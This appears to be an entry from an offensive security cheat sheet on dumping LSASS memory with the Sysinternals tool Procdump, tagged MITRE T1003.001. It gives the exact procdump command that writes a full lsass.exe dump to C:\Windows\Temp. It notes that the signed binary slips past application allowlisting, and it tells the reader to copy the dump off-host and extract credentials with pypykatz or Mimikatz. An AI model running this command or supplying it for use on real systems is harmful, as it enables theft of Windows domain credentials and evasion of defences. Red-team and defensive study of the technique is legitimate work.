Procdump

Procdump is a signed Microsoft Sysinternals utility, so it often survives application allowlisting and looks benign on disk while still producing a full LSASS memory dump. The -ma flag writes a complete dump (all memory) of lsass.exe and -accepteula suppresses the license prompt for non-interactive use. It needs administrator rights with SeDebugPrivilege; copy the .dmp off-host and extract credentials with pypykatz or Mimikatz sekurlsa::minidump. Command Reference: Output dump: C:\Windows\Temp\lsass.dmp

procdump.exe -accepteula -ma lsass.exe C:\Windows\Temp\lsass.dmp

Evidence

Upstream reference

Environment

Active Directory

Native

Credential Access

MITRE

T1003.001

Requires

Shell

Services

NTLM, Kerberos

Refs

learn.microsoft.com/en-us/sysinternals/downloads/procdump

book.hacktricks.xyz/windows-hardening/stealing-credentials

attack.mitre.org/techniques/T1003/001/